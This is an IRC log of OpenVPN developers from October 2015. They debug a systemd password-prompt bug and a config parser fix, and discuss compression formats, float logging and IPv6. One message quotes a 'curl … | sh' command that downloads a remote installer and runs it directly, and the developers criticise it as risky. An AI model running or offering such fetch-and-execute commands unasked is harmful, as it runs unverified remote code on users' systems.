01:24 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 01:40 * cron2 is fine with both... dazo wants <name>.pst though 02:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:30 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:56 * syzzer is joining the bike shed 02:56 <@syzzer> ...ding 02:56 <@syzzer> what about "Release Notes" ? 02:56 <@syzzer> w/o the space 03:11 <@cron2> fine with me 03:11 <@cron2> in blue or red font? 03:55 -!- dazo_afk is now known as dazo 03:57 <@dazo> cron2: syzzer: Fine for me as long as I don't to need it, and that the font is a mono-spaced font! ;-) 03:58 <@cron2> dazo: EPARSE :) 03:58 <@dazo> "Release notes" 03:58 <@cron2> "as I don't to need it" - what? 03:59 <@dazo> gee .... 'write' is the missing word 03:59 <@cron2> haha :) 03:59 <@cron2> you *are* expected to update it if you introduce user-visible changes :) 04:00 <@dazo> had a rougher night ... teeth are coming on our little one 04:00 <@dazo> ahh, fair enough 04:00 <@cron2> ... and I think maintaining the updates to "ReleaseNotesNewUserVisibleChanges.pst" should actually be on dazo and me, as especially for master+2.3 patches, a single patch wouldn't work then 04:00 <@dazo> another thing I forgot to mention why I'm often not online mondays and tuesdays ... paternity leave 04:01 <@cron2> you have no Internet at home? *duck&run* 04:01 <@dazo> hehehe ... my Internet time gets preempted ;-) 04:01 * dazo need to run for a bit again 04:02 <@dazo> but, one last thing ... I believe I've figured out where this systemd and 'no tty' issue appears .... when having openvpn started during boot ... need to figure out why that happens at some point 04:03 <@cron2> thanks 04:03 * dazo will suddenly be back at an unexpected time 04:03 < ismail> Regarding systemd and latest openvpn , we (openSUSE) had to apply https://build.opensuse.org/package/view_file/openSUSE:Factory/openvpn/revert-daemonize.patch?expand=1 to get the password prompt. 04:03 < ismail> Sorry for jumping in like this. 04:04 <@cron2> ismail: could you open a trac ticket, and set cc: dazo, cron2 please? 04:04 < ismail> sure 04:04 <@cron2> and please describe the circumstances that this hits - we discussed this last weekend, and dazo *is* running systemd with password-protected keys, and it "works for him", so I was a bit at a loss why it's broken - but this might help 04:05 <@cron2> (that particular code path should never be taken in this context, but obviously this "should" is not true for everybody...) 04:05 < ismail> I am guessing because systemd units have no tty allocated by default 04:05 < ismail> should check our openvpn unit files first 04:05 <@cron2> yeah, but if it knows that it's going to ask systemd, the "read from stdin" bits (which do the isatty() check) *should* not be called at all... 04:06 < ismail> yeah, will report a bug :) 04:06 <@cron2> thanks 04:06 <@cron2> we'll try to get it fixed for 2.3.9 04:06 < ismail> thanks for openvpn, a true life saver 04:06 <@cron2> :) 04:13 <@dazo> ismail: Please file a ticket ... this morning I finally found that issue myself. When starting openvpn via systemd on the command line, it works ... but 'systemctl enable openvpn-client@....' seems not to work when booting, due to missing tty 04:15 < ismail> https://community.openvpn.net/openvpn/ticket/618 04:16 <@vpnHelper> Title: #618 (OpenVPN 2.3.8 no longer asks for username/password) – OpenVPN Community (at community.openvpn.net) 04:16 <@vpnHelper> RSS Update - tickets: #618: OpenVPN 2.3.8 no longer asks for username/password <https://community.openvpn.net/openvpn/ticket/618> 04:22 <@dazo> ismail: can you quickly test this patch on top of master? http://www.fpaste.org/278639/14447278/ ... I've only compile tested it, so it should build ... if this works, I can make it a proper patch 04:23 <@dazo> mattock: does the Fedora buildbot build with --enable-systemd? 04:23 * dazo need to run again 04:24 < ismail> will test in a sec. 04:32 < ismail> dazo: confirmed working 04:44 <@dazo> ismail: how did you test it? Only on the failing use case, or also other use cases? 04:46 <@dazo> cron2: can you give a quick look at the patch at fpaste? ... I'm considering to make check_systemd_running() always available, only returning 'false' when ENABLE_SYSTEMD is not enabled in console.c 04:46 <@dazo> This is just to avoid the #ifdef and 'userinput_doable' variable in misc.c 04:47 < ismail> dazo: only in the failed case. 04:47 <@dazo> ismail: okay, thx! would be great if you can test it on other scenarios too ... I'll do the same as soon as I can too 04:47 < ismail> dazo: ok I'll let you know :) 04:47 <@cron2> dazo: why is it reaching this point at all? Shouldn't it branch to "go query systemd!" before even reaching there? 04:48 <@cron2> but if that is the right fix, I'd prefer a "check_systemd_running() is always there, and will return false" variant :) 04:48 <@dazo> I thought so 04:48 <@dazo> :) 04:48 <@dazo> It reaches this code because get_console_input() comes /after/ the istty() check 04:49 <@dazo> and get_console_input() is where the systemd checks happens 04:49 <@cron2> and get_console_input() does the "either stdin or systemd" dance? 04:49 <@cron2> ah 04:50 <@cron2> hrmph, sounds I did not pick the right spot for the check after all... let me look into this again, maybe move the isatty() check just inside there 04:50 < ismail> btw. unrelated to this, on my newly used server I see link-mtu having a value of 1600 or so, that doesn't look normal is it? 04:51 < ismail> (I was debugging some speed problem on setting mtu to 1400 on my Linux boxes improved speed, but iOS client need some server side change, hence I started debugging it) 04:51 < ismail> s/on/and 04:52 <@cron2> --mssfix 04:52 < ismail> without any value? :) 04:52 <@cron2> well, if no value, it auto-tunes to $somethingbasedononeoftheMTUoptions :) - so you still might need --mtu 1400 04:53 < ismail> ok for server conf its mtu 1400\n mssfix right? 04:53 < ismail> not tun-mtu or link-mtu 04:54 * cron2 admits to be confused about all the mtu options we have, and reads them up again every time 04:54 < ismail> yeah docs are confusing :/ 04:55 < ismail> cron2: I'll try your changes, thanks. 04:55 <@dazo> cron2: here's my other approach ... but I'll hold off until you've looked into your changes first ... http://www.fpaste.org/278656/44472987/ 04:56 <@dazo> (compile tested with and without --enable-systemd) 04:57 * dazo likes this version of the patch better too 04:57 <@cron2> dazo: that one is definitely less intrusive, but might still be more complex than "just move the stuff to the right place" - could you attach it to the trac anyway, for the time being? 04:57 <@cron2> I'll followup later this week 04:57 <@dazo> goodie! 04:57 * dazo goes offline for a while now 04:58 <@dazo> cron2: btw ... query user input patches ... a review here would be good to, but we'll look at that after we find a patch for this mess first ... maybe I need to post a v4 patch incorporating this fix 05:04 <@cron2> right 05:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 05:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:17 <@cron2> mattock1: are you really here? 06:17 <@cron2> (or novaflash, for that matter) 06:56 <@mattock1> yes 07:01 * mator is listening to Fatboy Slim - Right here, right now 07:21 * cron2 sent mail :) 07:26 <@mattock1> ok, now I'm present not only in spirit, but also in flesh :) 08:07 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:07 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 08:16 <@mattock2> cron2: read your email and responded 08:21 <@vpnHelper> RSS Update - tickets: #619: please add Tasker plugin interface to OpenVPN Connect (Android) <https://community.openvpn.net/openvpn/ticket/619> 08:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:22 <@cron2> mattock2: thanks 09:53 < lev__> Sent a new version of server exit notification patch. Replaced OCC with existing "RESTART" command. Client either reconnects to the same server or advances to the next one depends on server config (explicit-exit-notify). Added new behavior to man page. 09:59 <@cron2> looks impressive, but I can't claim to understand any of the context this is happening in :-) 09:59 < lev__> tested with 200 clients (all on the same box, though), each switched nicely to the new server 10:01 < lev__> well, if you have long ping intervals and you restart openvpn server without that patch your clients won't be happy 10:01 <@cron2> I fully understand what the patch is good for, but I don't understand the code surrounding it :-) 10:01 < lev__> will take some time to figure out that server is gone 10:01 < lev__> ah 10:01 <@cron2> this whole instance stuff is magic 10:02 < lev__> you need a leap of faith :) 10:02 * cron2 needs time to read code and think about it! 10:06 < lev__> Sure. in short it (1) catches exit signal, (2) rechedules it in 2 seconds and (3) sends "restart" to all clients. Only (relatively) new part here is (2) 10:09 <@cron2> under which condition is (3) done today? 10:13 < lev__> via management interface one can disconnect client 10:13 < lev__> (by sending restart command) 10:22 < lev__> push.c send_restart() function, it also schedules client exit but we don't need it since we're restarting the whole server anyway 13:53 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 17:48 <@syzzer> wow, that ntlm.c code is absolutely terrifying... 17:48 <@syzzer> not the patch itself, but the old code... 19:12 -!- dazo is now known as dazo_afk --- Day changed Wed Oct 14 2015 00:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:01 <@plaisthos> cron2: I already reviewed most of the patch of Lev 03:08 <@cron2> cool 03:33 -!- dazo_afk is now known as dazo 03:35 <@dazo> cron2: Just got a chance to test my patch from yesterday .... it *almost* works .... now it doesn't query for the private key password automatically when starting the service via systemctl, I have to kick off the systemd-tty-ask-password-agent manually ... so my patch breaks the console use-case 03:35 <@dazo> it asks perfectly fine for username/passwords though 04:34 <@cron2> weird, why doesn't it ask? 04:34 * cron2 is confused 04:41 <@dazo> I don't know ... I'm confused as well 04:42 <@dazo> without the patch, it works as expected on the command line with tty 04:42 <@dazo> I don't have too much time debugging now, but will try to do it when I've done some $paidwork first 04:44 <@dazo> ismail: ^^^ 04:45 < ismail> dazo: saw the update, I'll have a look this week, cheers. 04:46 <@dazo> thx! 05:28 < ValdikSS> dazo: >I have to kick off the systemd-tty-ask-password-agent manually ... so my patch breaks the console use-case 05:28 < ValdikSS> dazo: always happens to me on all other daemons, so that's OK I suppose 05:42 <@dazo> ValdikSS: well, it asks for username/password without manually having to kick off the agent. Without my "fix", it also asks for the private key password too .... with the patch it asks for username/password, then I need to kick off the agent to enter the private key password, that's a nasty UX regression 05:44 <@dazo> If we just could get my query user input patches reviewed and accepted, I could start the rework on the next part of those patches: to ask for everything OpenVPN would need as early as possible 05:44 <@dazo> That could also improve UIs too ... as they can display a single screen asking for all at once 05:45 <@dazo> (without it being "guess work", which it often is now - based on the config file being used) 05:50 <@plaisthos> hmpf 05:51 <@plaisthos> the patch looked so innocent and now it breaks my client (JJK's end tag patch) 05:51 <@plaisthos> because it is wrong :*/ 05:55 <@plaisthos> that is what you get for only staring at the code and compile testing 05:57 <@plaisthos> Although the thing only breaks if you happen to have a line with more whitespace than the closing tag 06:04 <@cron2> what will happen? 06:05 <@plaisthos> just look at the patch :) 06:05 <@plaisthos> no endtag for <ca> found 06:05 <@cron2> ouch 06:05 <@cron2> no 06:05 <@cron2> why? 06:05 <@dazo> plaisthos: it would be good if your commit messages could explain a bit better what it fixes ... the change you do looks just like moving things around 06:05 <@cron2> ah 06:05 <@cron2> it is not being re-set for every subsequent line 06:06 <@cron2> dazo: that's what it does :-) - "moving things to the proper place", iow, ensure that line_ptr is actually properly initialized for *every* line read, not just for the first one 06:06 <@dazo> yeah, that's easy to understand ... but I can't understand *why* without having to look up commit c67...... 06:08 <@dazo> "A diff will tell you what changed, but only the commit message can properly tell you why." http://chris.beams.io/posts/git-commit/ 06:08 <@vpnHelper> Title: How to Write a Git Commit Message (at chris.beams.io) 06:20 <@cron2> "because jjk and plaisthos should not drink so much beer" 06:20 <@cron2> good enough for the "why"? 06:20 <@cron2> :) 06:23 <@dazo> hehe 08:06 <@plaisthos> cron2: i will just copy your irc messge :) 08:09 <@plaisthos> my client reconnects too fast 08:10 <@plaisthos> with Lev's notify client disconnect patch, my client manages to half reconnect during the 2s server shutdown phase 08:16 < lev__> "half reconnect" ? 08:19 <@dazo> syzzer: https://opensource.com/life/15/10/ato-interview-steve-klabnik-rust ;-) 08:20 < lev__> I've also seen "no endtag for ca" yesterday with plaisthos's client and openvpn master while testing that patch, then I switched to icsopenvpn_634 and problem got fixed 08:20 <@dazo> lev__: client_socket_port_num/2 08:21 < lev__> dazo: täh? 08:22 <@dazo> lev__: "half reconnect" 08:22 < lev__> yeah but what does client_socket_port_num/2 means 08:22 < lev__> means > mean 08:22 <@dazo> lev__: if the client used client port 5000, it will use port 2500 ........ ;-) 08:23 <@dazo> never mind, it was a silly joke ;-) 08:23 * cron2 puts dazo on silent mode 08:23 <@dazo> hehe ... whooops, there went my query user agent review out in the blue 08:25 < lev__> dazo: hm, that reminds me exponential backoff 08:26 <@dazo> :) 08:28 <@plaisthos> Is it worth implementing lzo v2 compression algorithm? 08:29 <@plaisthos> as in "is there any advantage of using lzo over lz4"? 08:30 <@cron2> is it more than 5 lines of code? 08:31 <@cron2> "someone might have a client built with --disable-lz4"... damn options 08:33 < lev__> plaisthos: you may want to remove src/openvpn/snappy.c from openvpn/Android.mk 08:36 <@plaisthos> lev__: I already did 08:37 <@plaisthos> https://github.com/schwabe/openvpn/commits/icsopenvpn_640 08:37 <@vpnHelper> Title: Commits · schwabe/openvpn · GitHub (at github.com) 08:38 <@plaisthos> cron2: I could use the same copy&paste duplication, like the compression algorithms do 08:43 <@plaisthos> But the question is if there is any real reason to support lzo over lz4 08:43 <@syzzer> dazo: rust \o/ 08:44 <@plaisthos> a clinet without lz4 then simply has no v2 compression apart from stubv2 10:19 <@cron2> dunno... the client might want peer-id or AEAD and James' code won't give it to him unless a "real" compression algorithm is there... and I guess it would cut down on user questions to support the same set on both 10:33 <@plaisthos> cron2: StubV2 is enough for james code 10:36 <@cron2> well. I abstain on this... but we might want to put it on the agenda and ask James if he has an opinion 10:36 <@syzzer> plaisthos: the client does not really tell the server what it supports, right? 10:36 <@plaisthos> syzzer: it does 10:36 <@syzzer> the server just pushes 'do lz4' 10:36 <@plaisthos> syzzer: no 10:36 <@syzzer> more than 'I can do compv2' ? 10:36 <@plaisthos> syzzer: yes 10:36 <@plaisthos> IV_STUBv2=1 10:36 <@plaisthos> IV_LZ4v2=1 10:36 <@syzzer> ah 10:37 <@syzzer> in that case, let's drop lzo 10:37 <@plaisthos> and james server pushes compress stub-v2 or lz4-v2 depending on what I tell him 10:38 <@syzzer> (if you ask me, we should drop all compression, but than I'd have to make sure that the angry mob with pitchforks can't find me ;) ) 10:38 <@syzzer> *then 10:39 <@dazo> hehehe 10:39 <@syzzer> compression + encryption is a dysaster waiting to happen 10:41 <@cron2> oh, so "v2 format, with lz4" is enabled by pushing "compress lz4-v2"? 10:42 * cron2 missed that part of your tests 10:42 <@plaisthos> cron2: yes 10:44 <@plaisthos> with syzzer aeded patches and claiming to support cipher autonegotiation james server talks lz4 v2 with me :) 10:44 <@cron2> wooh! 10:44 <@plaisthos> and my own vpn server now also talks lz4-v2 with my android clients 10:49 <@cron2> double-woh! 10:50 <@plaisthos> Stubv2 is really silly als compression cipher :) 10:51 <@plaisthos> it is like no compression, expect that it escaped 0x50 as byte 11:00 <@dazo> syzzer: the official Rust docs tells you this is the way to install it: $ curl -sf -L https://static.rust-lang.org/rustup.sh | sh ....... 11:02 <@syzzer> yes, that is pretty terrible... 11:03 <@syzzer> otoh, it is not that different from adding a repository of theirs ;) 11:03 * dazo decided to give Rust a little look ... to see whats the fuzz 'bout 11:03 <@dazo> repos can be signed properly, so a 'yum install' can barf if something odd is happening 11:04 <@dazo> now, what the user does when it barfs is a completely different story :) 11:06 <@syzzer> true, it is a little better because there is no CA-maffia involved, but other than that I do not think that privately maintained repos are better protected than https websites 11:06 <@syzzer> (repos with a real team behind it are, as those can actually do offline signing, etc.) 11:07 <@dazo> fair enough 11:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 11:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:53 -!- Netsplit *.net <-> *.split quits: riddle 12:03 -!- Netsplit over, joins: riddle 12:04 -!- riddle [riddle@us.yunix.net] has quit [Max SendQ exceeded] 12:05 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 14:47 -!- dazo is now known as dazo_afk 16:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] --- Day changed Thu Oct 15 2015 01:03 -!- ismail [ismail@kde/ismail] has quit [Remote host closed the connection] 01:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:46 <@cron2> https://freedom-to-tinker.com/blog/haldermanheninger/how-is-nsa-breaking-so-much-crypto/ 01:46 <@vpnHelper> Title: How is NSA breaking so much crypto? (at freedom-to-tinker.com) 01:48 < lev__> "it would cost a few hundred million dollars to build a machine, based on special purpose hardware, that would be able to crack one Diffie-Hellman prime every year" 01:48 <@cron2> not totally new stuff (basically, weakdh), but still interesting read 04:21 -!- dazo_afk is now known as dazo 04:31 <@dazo> okay ... so now I've seen this as well ..... $ host 88.131.114.169 04:31 <@dazo> 169.114.131.88.in-addr.arpa is an alias for 169.128-26.114.131.88.in-addr.arpa. 05:08 <@cron2> use IPv6, no need for that anymore :-) 05:24 < mator> yeah, getting implemented ipv6 here on site, i wonder do i need reverse for ipv6 at all :) 05:27 <@dazo> mator: it's advisable to have reverse lookup for MX hosts 05:27 < lev__> hm, I wonder why "Untrusted peer x wants to float" message uses D_MULTI_ERRORS 05:29 < lev__> should be probably changed D_MULTI_MEDIUM 05:35 * cron2 guesses that the original programmer thought it a good idea :-) 05:46 <@syzzer> lev__: I think I did that 05:47 <@syzzer> to it seemed like an attack indicator 05:47 <@syzzer> 'someone is trying to fool us'! 05:48 <@syzzer> do you see these messages quite often? 05:49 < lev__> syzzer: but it is just informational message, every peer which is going to float is untrusted, we commit float only after all checks (replay attach, hmac) 05:49 <@syzzer> aha, so I misunderstood the situation (did I actually add it?) 05:51 < lev__> 2-10 per second for all servers, we have quite a few of them though 05:55 <@syzzer> so this is for *all* floats 05:56 < lev__> yep, attack attempt logging uses medium: msg (D_MULTI_MEDIUM, "Disallow float to an address taken by another client 05:56 <@syzzer> ok, maybe change the text to something less worrysome too then. Something like 'peer x requests to float to addr'? 05:58 <@syzzer> I know this feels like nitpicking, but one thing I learned over the past few years is that good error/warning messages significantly reduce the number of support calls... 05:59 <@syzzer> so I'm quite happy you brought this up :) 06:02 < lev__> Well, IMO "untrusted" is a not bad addition, since we cannot claim that it is really peer X. Or shall we come up with better (if any) wording? D_MULTI_ERRORS should be definitely lowered (patch sent). 06:20 <@syzzer> yes, lowering makes sense for sure (ACK on the list) 06:23 < lev__> at the second thought I think it is safe to omit "untrusted" since we will log anyway if peer is fooling us. I think I'll change it to "Peer X requests to float to" and increase log level of attack event from MEDIUM (4) to LOW (3) 06:26 <@syzzer> yeah, the thing is we don't know who is sending the packet for sure 06:27 <@syzzer> so thinking a bit more about it, something like 'Float requested for peer x, to <Addr>' perhaps? 06:28 < lev__> syzzer: looks good! 06:28 <@syzzer> I'd definitely ack that v2 ;) 06:46 <@cron2> yep, makes sense 08:00 <@plaisthos> confuse android users with changelog :D 08:00 <@plaisthos> - Implement compression format v2 08:00 <@plaisthos> - Drop snappy compression format 08:03 <@cron2> mattock334: do you have a meeting page for next monday already? 08:13 < ValdikSS> Guys, so what's with the iOS 9? 08:14 < ValdikSS> Could it be fixed? 08:22 <@syzzer> ValdikSS: I think you'll have to poke OpenVPN Tech about that one 08:23 <@syzzer> the iOS client is not a community product 08:23 < ValdikSS> syzzer: how could I contact them? Do they have a mail or an irc channel? 08:23 <@syzzer> #openvpn-as, iirc 08:24 < ValdikSS> oh guys, especially cron2, how can I donate? AFAIK paypal address doesn't work for a long time. 08:24 <@plaisthos> I don't think we have a formal way to accept donations 08:26 * cron2 has a paypal address :-) - but this actually is something we've never talked about. I could imagine a funds that pays for dinner at the next hackathon... or suchlike 08:27 <@cron2> ValdikSS: it's not completely clear what is happening in IOS 9, but James said something about "Apple has bugs in there all the time and it's very annoying to get them to admit it" or such... 08:27 < ValdikSS> cron2: strongSwan project has a flatter page, it's very convenient 08:41 <@plaisthos> I made most money in donations when I had in app products in my app that did nothing at all 08:49 < ValdikSS> Is there a way to disable pushing ifconfig-ipv6 on client-basis? 08:50 < ValdikSS> push-reset resets only routes, server-ipv6 can't be used in the client-config-dir file 08:56 <@dazo> cron2++ ... for funding idea 08:57 <@dazo> ValdikSS: doesn't push-reset reset everything in the "push pool"? ... I vaguely remember some complaints about it removing "too much" 08:58 < ValdikSS> dazo: it does remove, for example, redirect-gateway, but not ifconfig 08:58 <@cron2> push-reset should totally reset everything, yes - there's an open trac that it also resets "topology" 08:58 < ValdikSS> dazo: iOS 9 doesn't work even if server just pushes IPv6 address without routes 08:58 < ValdikSS> dazo: so my idea was to reconfigure server that way I can not to push ipv6 addresses to certain clients 08:58 <@cron2> need to test that, I truly can't remember (and no time today) 08:58 <@dazo> that sounds like an openvpn connect ios bug :/ 08:59 <@cron2> dazo: yes, it's an IOS9 bug, see above :) 08:59 <@dazo> ahh 09:00 <@dazo> hmmm ... sounds like we need a new option .... ifconfig-nopush :-P 09:00 <@dazo> and ifconfig-ipv6-nopush!! *ducks&hides* 09:01 < ValdikSS> Wow, I just understood why OpenVPN doesn't EVER worked for me on Windows if I run it as a user. 09:02 < ValdikSS> All of my setups have IPv6 support and OpenVPN uses netsh.exe to set up IP on the interface if there is an IPv6 address, that requires administrator privileges 09:03 < ValdikSS> If there is no IPv6, OpenVPN uses dummy DHCP server which to let OS set up everything 09:05 <@dazo> right 09:27 <@plaisthos> :) 09:28 <@plaisthos> Google at least broke things with more consistency 09:38 <@dazo> whoops! an ack mail misfired 09:38 <@dazo> with errors 09:38 <@plaisthos> dazo: I was just going to ask about that strange mail :) 09:38 <@dazo> that was quick 09:40 <@dazo> oh good ... what went out was actually even better than what could have been sent 09:42 <@plaisthos> :) 09:42 <@dazo> plaisthos: I think it would be good if you add '-s' to your git commits though ... just a nit pick 09:43 <@plaisthos> what does -s do? 09:43 <@plaisthos> ah 09:43 <@plaisthos> signoff 09:43 <@dazo> :) 09:43 <@plaisthos> okay 09:43 <@plaisthos> will do in the future 09:43 <@plaisthos> whatever this means :0 09:43 <@dazo> :) 09:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 09:44 <@cron2> valdikss: how are you setting up your pushed ifconfig settings? is this pool, or radius/...? 09:45 <@cron2> plaisthos: you usually do that already - and it symbolizes "I have read and understood the rules of this project and my patch and I comply to it!" or so 09:45 <@plaisthos> cron2: probably my ui does it and my command line tool does not do it 09:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:58 <@vpnHelper> RSS Update - gitrepo: Refine float logging <https://github.com/OpenVPN/openvpn/commit/5203d8094f38a9d23d983377171c11b1d3a82ad2> || Fix commit c67acea173dc9ee37220f5b9ff14ede081181992 <https://github.com/OpenVPN/openvpn/commit/cba33989101175ac07434b9c5cceba116bf38127> 10:04 <@dazo> I'm so out of practice when it comes to applying stuff ... so many mistakes on the way .... 10:15 <@plaisthos> hehe 10:17 <@plaisthos> I also sent a new Changes.rst patch to the mailing list 10:22 <@plaisthos> Restarting the server and seeing udp client reconnect immediatly is almost scary 10:23 <@dazo> heh 10:55 <@cron2> dazo: just send ACKs and leave that part to me, then? ;-) 11:16 <@dazo> hehe :) 11:54 <@cron2> dazo: have you applied plaisthos' line_ptr commit to 2.3 as well? 11:54 <@dazo> cron2: Yeah, I believe I did that ... hence my out of practice comment :) 11:54 <@cron2> if you did, you did not push... 11:55 <@dazo> hmm!? 11:55 <@cron2> "it is not in stable/release/2.3 on github" 11:55 <@dazo> do you have commit f417db630353648a0bd1cd9d634413ce446fe900? 11:55 <@dazo> * github: 11:55 <@dazo> Everything up-to-date 11:56 <@cron2> ah 11:56 <@cron2> ignore me 11:56 <@cron2> release/2.3 a3160fc [stable/release/2.3: behind 1] Fix "White space before end tags can break the config parser" 11:56 <@dazo> :) 11:56 <@cron2> it was staring at me all the time but I looked at "stable/release/2.2" which had no "behind ..." 11:56 <@dazo> well, I did not apply it to 2.2 ;-) 11:57 <@cron2> everything there, everything fine :) 11:57 <@dazo> \o/ 11:58 <@cron2> mmmh 12:00 <@cron2> our log level naming confuses me... I'd expect "LOW" to be "less important than MEDIUM" but it is vice versa 12:00 <@dazo> yeah 12:01 <@cron2> we do have even-more-acked-by: ^_o 12:01 <@dazo> I considered adding that to the commit log :-P 12:03 <@cron2> tempting :) 12:16 <@cron2> plaisthos: the Changes.rst formatting for "new features" and "changes" is different (indenting / -) -- is that intentional? 14:07 < lev__> plaisthos: I think server won't send RESTART unless explicit-exit-notify specified in config 14:08 < lev__> so by default nothing changes, and if server admin adds that option he knows what he is doing 14:20 < lev__> it would probably make sense for the client to wait, say, 5 seconds if it is about to reconnect to the same server 15:35 <@cron2> but that requires the change to actually make it to the client - if the server would just refuse new clients when it knows "I'll be restarted soon anyway" you'd get the benefit without client updates... 15:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 16:46 <@plaisthos> cron2: yes it is intentional 16:47 <@plaisthos> cron2: https://github.com/schwabe/openvpn/blob/0e610bc964249c69409bbf8c455b8ceec9f76b38/Changes.rst 16:47 <@vpnHelper> Title: openvpn/Changes.rst at 0e610bc964249c69409bbf8c455b8ceec9f76b38 · schwabe/openvpn · GitHub (at github.com) 18:15 -!- dazo is now known as dazo_afk 19:04 -!- Netsplit *.net <-> *.split quits: +krzee, mator, ValdikSS, n13l, @d12fk, @pekster, eliasp, woodrow, siruf, luckman212, (+18 more, use /NETSPLIT to show all of them) 19:10 -!- Netsplit over, joins: @vpnHelper, @dazo_afk, ValdikSS, @d12fk, floppym, arlen 19:12 -!- EvilJStoker [jstoker@2a01:7e00:e001:1400::] has joined #openvpn-devel 19:12 -!- Netsplit over, joins: TimSmall 19:12 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 19:12 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 19:15 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 19:15 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 19:15 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 19:15 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 19:15 -!- ServerMode/#openvpn-devel [+o pekster] by orwell.freenode.net 19:15 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:15 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:15 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 19:15 -!- woodrow [sid13914@gateway/web/irccloud.com/x-hqvqqeadfqcmolvd] has joined #openvpn-devel 19:15 -!- ServerMode/#openvpn-devel [+o andj] by orwell.freenode.net 19:16 -!- reators [~holger@2001:1a80:2000:2:3d61:851c:5a89:7750] has joined #openvpn-devel 19:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:16 -!- ServerMode/#openvpn-devel [+v krzee] by orwell.freenode.net 19:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:16 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:16 -!- ServerMode/#openvpn-devel [+o mattock] by orwell.freenode.net 19:19 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 19:19 -!- novaflash_away [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 19:19 -!- ServerMode/#openvpn-devel [+ov cron2 novaflash_away] by orwell.freenode.net 19:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:22 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 19:22 -!- ServerMode/#openvpn-devel [+oo plaisthos syzzer] by orwell.freenode.net 19:22 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds] 19:35 -!- EvilJStoker is now known as Guest93258 19:35 -!- Guest93258 [jstoker@2a01:7e00:e001:1400::] has quit [Changing host] 19:35 -!- Guest93258 [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:35 -!- Guest93258 is now known as EvilJStoker 19:38 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 21:57 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 268 seconds] 21:59 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Fri Oct 16 2015 01:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:16 -!- dazo_afk is now known as dazo 04:34 <@dazo> cron2: do you also push git repos to a private openvpn git repository? 04:43 * dazo is afk for a couple of hours 04:51 <@cron2> dazo: sometimes, why? 05:45 <@d12fk> O_o 05:46 <@d12fk> is it not possible to have openvpn listen on an IPv6 and IPv4 at the same time? 05:47 <@d12fk> my expectation was that if I have "local <ipv6addr>" in the config taht is does dual stack magic and also recvs the IPv4 traffic via ::ffff:1.2.3.4 05:47 <@d12fk> no? 05:52 <@plaisthos> d12fk: no that unfortenatly does not work 05:52 <@plaisthos> because you only get dualstack if you do not bind to specific address 05:53 <@plaisthos> if you bind to a local v6 address you get only that 05:53 <@d12fk> so we need to implement the openvpn can bind to more the one family? 05:53 <@d12fk> *than 06:01 <@d12fk> binding to IPv4 via "local ::ffff:1.2.3.4" work when using tcp6-server 06:02 <@d12fk> now it is just mutli bind support that is needed 06:03 <@d12fk> since local is also used on the client it doesn't make sense to extend it to 